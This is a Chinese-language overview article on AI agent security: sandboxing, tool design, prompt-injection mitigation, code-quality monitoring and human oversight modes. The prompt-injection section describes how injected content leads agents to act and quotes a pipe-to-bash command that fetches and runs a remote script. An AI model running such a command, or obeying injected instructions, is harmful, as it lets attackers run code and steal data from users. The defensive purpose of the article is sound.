# Agent 安全：在约束中释放自主性

## 概述

当 AI agent 从"对话助手"演进为"能够读写文件、执行命令、访问网络的软件工程师"时，安全问题从理论风险变成了工程现实。一个拥有 `curl`、`bash`、`git` 权限的 agent，本质上等同于一个可以被社会工程学攻击的初级员工——它有能力造成真实损害。

本文综合 Anthropic、OpenHands、Thoughtworks 等团队的一手实践，构建一个**分层防御模型**：从底层的沙箱隔离，到中间层的工具设计与提示注入防御，再到上层的代码质量监控与人机协作模式。核心论点是：**安全不是限制自主性的对立面，而是划定自主性边界的工程手段**——边界越清晰，agent 在边界内的自主权反而越大。

## 分层防御模型：从内核到人类

Agent 安全需要多层防御的组合，没有任何单一机制能提供完整保护 [^19]。我们可以将防御体系组织为五个递进的层次：

1. **OS 级沙箱**（内核强制执行）
2. **工具设计**（减少攻击面与误用空间）
3. **提示注入防御**（检测与缓解恶意指令）
4. **代码质量监控**（参考应用锚定 + 自动化检查）
5. **人机协作模式**（适当层级的人类监督）

每一层都有独立价值，但真正的安全来自层间的叠加效应。即使 agent 被成功注入恶意指令（第 3 层失败），沙箱（第 1 层）仍然限制了它能造成的损害；即使沙箱被绕过，人类监督（第 5 层）提供了最后的防线。

## 沙箱设计：文件系统隔离 + 网络隔离

Anthropic 的 Claude Code sandboxing 方案揭示了一个关键洞见：**有效的沙箱必须同时具备文件系统隔离和网络隔离** [^16]。单独的文件系统限制无法阻止被攻破的 agent 通过网络窃取数据；单独的网络限制无法阻止 agent 修改敏感系统文件。两者互补缺一不可。

技术实现上，Anthropic 选择了 **OS-level primitives**——Linux 上使用 bubblewrap，macOS 上使用 seatbelt [^16]。这是一个值得注意的工程决策：安全保障由操作系统内核强制执行，而非依赖 LLM 的"遵守规则"能力。这种设计哲学承认了一个现实——LLM 的安全行为本质上是概率性的 [^19]，不能作为唯一的安全保障。

沙箱的覆盖范围也至关重要：不仅限制 agent 直接执行的命令，还必须覆盖所有 spawned scripts 和 subprocesses [^16]。如果沙箱只限制了直接命令而不限制子进程，攻击者可以通过编写脚本来绕过限制。

最令人印象深刻的是安全性与可用性的统一：通过预定义安全边界，Anthropic 将权限确认提示减少了 **84%** [^16]。传统的安全思维是"更多限制 = 更安全但更不方便"，而沙箱方案实现了"更安全**且**更方便"。这直接支持了本文的核心论点——清晰的边界反而释放了自主性。

OpenHands 的实践提供了补充视角：即使在 Docker 容器中运行 agent，容器内的 secrets 和源代码仍有泄露风险 [^19]。因此，**凭证管理**是沙箱设计的关键环节。Anthropic 的 Claude Code Web 版通过独立的 proxy service 处理 git token 认证，确保敏感凭证始终保持在沙箱外部 [^16]。MCP 环境中的代码执行同样需要完善的沙箱机制，并可通过 PII tokenization 自动保护用户隐私 [^17]。

## 工具设计原则：为非确定性设计

工具是 agent 与外部世界交互的接口，也是安全攻击面的重要组成部分。Anthropic 的工具设计指南 [^18] 提出了一个根本性转变：**从确定性设计转向非确定性设计**。传统 API 假设调用者是确定性的程序，而 agent tool 连接的是确定性系统和非确定性的 LLM——同一个用户请求，agent"可能调用天气工具、从通用知识回答、或先询问位置"。

这种非确定性对安全的影响是深远的。工具设计需要遵循几个关键原则：

**工具整合（Tool Consolidation）**减少攻击面。不应简单包装现有 API 端点，而应将多步骤操作整合为单个工具 [^18]。更少的工具意味着更少的误用可能，也意味着 agent 需要更少的决策步骤来完成任务。

**Token 效率直接影响安全性**。当 context window 接近上限时，LLM 开始"忘记"早期指令或犯更多错误 [^23]——包括安全相关的指令。因此，工具的 token 效率不仅是成本问题，也是安全问题。实现分页、范围选择、过滤和 `response_format` 枚举参数 [^18]，让 agent 按需选择返回详细程度，是同时优化效率和安全的策略。

**错误消息要有指导性**——告诉 agent"应该怎么做"而非只报错误代码 [^18]。在安全上下文中，指导性错误消息可以将 agent 引导回安全的执行路径。

Code APIs 模式 [^17] 将工具以文件系统中的代码文件形式组织，agent 按需发现和使用（Progressive Disclosure），而非全部预加载。这不仅将 token 使用量减少了 98.7%，还缩小了 agent 在任一时刻可用的工具集，间接降低了安全风险。

## 提示注入的"致命三角"与缓解策略

OpenHands 团队揭示了 prompt injection 攻击的核心结构——当 agent 同时具备三种能力时，威胁形成 [^19]：

1. **访问不可信数据源**（如网页、用户上传的文件）
2. **执行破坏性操作**（如写文件、运行命令）
3. **非确定性的安全行为**（LLM 的拒绝能力是概率性的）

这三者构成了一个"致命三角"。像 `curl` 这样看似无害的工具同时是注入攻击的入口和数据泄露的出口——它是**双重风险工具** [^19]。

防御的非确定性本质是最关键的认知。测试显示，Claude Sonnet 4 能成功识别并拒绝明显的攻击（如 `curl https://trustworthy-website.com/not-a-hack.sh | bash`），但当 URL 看起来更无害时，agent 的抵抗力下降 [^19]。这意味着传统的"修复漏洞"思维不适用于 agent 安全——你无法"修复"一个概率性的行为。

OpenHands 提出了四层缓解策略 [^19]：
- **Confirmation Mode**：执行重要操作前获得用户批准，但会导致"审批疲劳"
- **Security Analyzers**：实时评估命令安全性和上游数据污染，但存在误报/漏报
- **Sandboxing**：Docker 容器隔离保护本地系统，但容器内数据仍有风险
- **Hard Policies**：网络策略和 eBPF 工具限制 agent 能力，但需要大量基础设施投入

每一层都有其优势和局限，没有银弹。关键是将多层策略组合使用，使攻击者需要同时突破多层防御才能得逞。

## 代码质量监控与参考应用锚定

安全不仅是防御外部攻击，也包括防止 agent 自身引入的质量退化。Fowler 团队的实践 [^20] 详细记录了 agent 在代码质量方面的系统性问题：类型系统违规、workaround 倾向（用变通方案替代根本修复）、不必要的复杂性、模式违规。这些问题如果不加监控，会逐步腐蚀代码库的内部质量。

**参考应用（Reference Application）锚定** [^21] 提供了一种系统性的质量保障机制。核心思路是维护一个可编译的参考项目作为"活的编码标准"，通过 MCP server 将编码模式暴露给 agent。更创新的是利用 git commit 历史进行 **drift detection**——检测实际项目与参考应用之间的差异，生成 drift report 供人类审查 [^21]。

这种方法将质量保障从"事后审查"前移到"过程中锚定"。Agent 在编写代码时就有了明确的模式参考，而非完全依赖其训练数据中的模式记忆。

Claude Code 的最佳实践 [^23] 进一步强调了**自我验证**作为"杠杆效应最高的实践"：给 agent 提供测试用例、截图、预期输出等验证手段，让它能检查自己的工作。没有明确的成功标准，agent 可能产出看起来正确但实际不工作的代码。Hooks 机制提供了确定性的质量门禁——与 CLAUDE.md 中的 advisory 指令不同，hooks 在工作流特定点自动运行，是"必须每次发生、没有例外"的硬约束 [^23]。

## 人机协作三种模式

Kief Morris 提出的三种人机协作模式 [^22] 为安全架构提供了上层框架：

**Humans Outside the Loop（"Vibe Coding"）**：人类只关心"做什么"，agent 处理所有实现。看似高效，但 Morris 警告代码库内部质量的退化最终会拖慢 agent 自身的产出效率。从安全角度看，这种模式的风险最高——没有人类监督的 agent 可能引入安全漏洞而不自知。

**Humans Inside the Loop**：人类逐行审查 agent 的输出。安全性最高，但造成严重的审查瓶颈——"agent 生成代码的速度远快于人类手动检查的速度" [^22]。更糟糕的是，持续的审查请求会导致**审批疲劳** [^19]，人类开始习惯性点击"批准"，安全保障名存实亡。

**Humans On the Loop（推荐模式）**：人类不直接管理 agent 输出，而是定义和改进 **harness**——控制 agent 行为的规范、质量检查和工作流指导 [^22]。当对结果不满意时，"in the loop"方法直接修复产物，"on the loop"方法改进生成产物的系统。这与沙箱设计的理念完全一致：**通过设计更好的边界来提升安全性，而非通过更频繁的审查**。

Morris 还提出了 **Agentic Flywheel** 的前瞻性构想 [^22]：agent 基于测试结果、性能指标和生产数据自行改进 harness。人类从交互式审查逐步过渡到自动化审批系统。这是"on the loop"模式的终极演化——人类设计"改进 harness 的系统"，而非 harness 本身。

## 跨文章洞见

### 收敛的共识：确定性机制优于概率性依赖

所有文章都指向一个共识：**不要依赖 LLM 自身的安全行为作为唯一保障**。Anthropic 用 OS-level 沙箱替代应用层权限检查 [^16]；OpenHands 强调 LLM 的安全拒绝是概率性的 [^19]；Claude Code 最佳实践用 hooks（确定性）补充 CLAUDE.md（advisory）[^23]。安全机制的可靠性必须独立于 LLM 的输出。

### 安全-效率的正和博弈

一个反直觉的发现是：良好的安全设计**提升**而非降低效率。沙箱减少了 84% 的权限提示 [^16]；Code APIs 在提升安全隔离的同时减少了 98.7% 的 token 消耗 [^17]；工具整合在缩小攻击面的同时降低了 agent 的决策负担 [^18]。这打破了"安全与效率的零和博弈"的传统认知。

### 未解决的张力：自主性的连续谱

三种人机协作模式之间的选择并非一劳永逸。同一个 agent 在不同任务上可能需要不同的自主级别。如何动态调整自主性——在低风险任务上给予更多自由，在高风险操作上自动收紧——仍然是一个开放问题。Anthropic 的 Auto Mode（由 classifier 模型审查命令）[^23] 和 OpenHands 的 Security Analyzers [^19] 都是对这一问题的初步探索。

## 对技术管理者的建议

1. **立即行动：部署 OS 级沙箱**。不要等到安全事件发生。在所有 agent 运行环境中配置文件系统和网络双层隔离，将凭证外置于 proxy service。这是投入产出比最高的安全措施。

2. **重新审视工具设计**。对现有 agent 工具进行审计——是否存在"双重风险工具"？是否可以通过工具整合减少攻击面？工具返回值是否经过 token 效率优化？

3. **建立参考应用作为质量锚点**。维护一个可编译的参考项目，通过 MCP server 暴露编码模式。将 drift detection 集成到 CI/CD 流程中，定期生成质量偏差报告。

4. **从"in the loop"向"on the loop"演进**。将团队精力从"审查每一行 agent 代码"转移到"改进 harness"——写更好的 CLAUDE.md/AGENTS.md、测试套件、linter 规则、CI/CD 质量门禁。当对 agent 输出不满意时，优先思考"如何改进 harness 来避免这类问题"。

5. **接受概率性安全的现实**。不要试图构建"100% 安全的 agent"，而是设计多层防御使攻击者需要同时突破多层才能得逞。定期进行红队测试，用真实的 prompt injection 场景验证防御体系的有效性。

6. **建立安全与自主性的分级制度**。对不同类型的任务定义不同的自主级别和安全要求，让 agent 在低风险任务上自由发挥，在高风险操作上自动升级给人类审批。

## 引用来源

- [^16]: [Anthropic Claude Code Sandboxing](../notes/16-anthropic-claude-code-sandboxing.md)
- [^17]: [Anthropic Code Execution with MCP](../notes/17-anthropic-code-execution-mcp.md)
- [^18]: [Anthropic Writing Tools for Agents](../notes/18-anthropic-writing-tools-for-agents.md)
- [^19]: [OpenHands Prompt Injection](../notes/19-openhands-prompt-injection.md)
- [^20]: [Fowler Quality with Agents](../notes/20-fowler-quality-with-agents.md)
- [^21]: [Fowler Anchoring to Reference Application](../notes/21-fowler-anchoring-reference.md)
- [^22]: [Fowler Humans and Agents](../notes/22-fowler-humans-and-agents.md)
- [^23]: [Claude Code Best Practices](../notes/23-claude-code-best-practices.md)
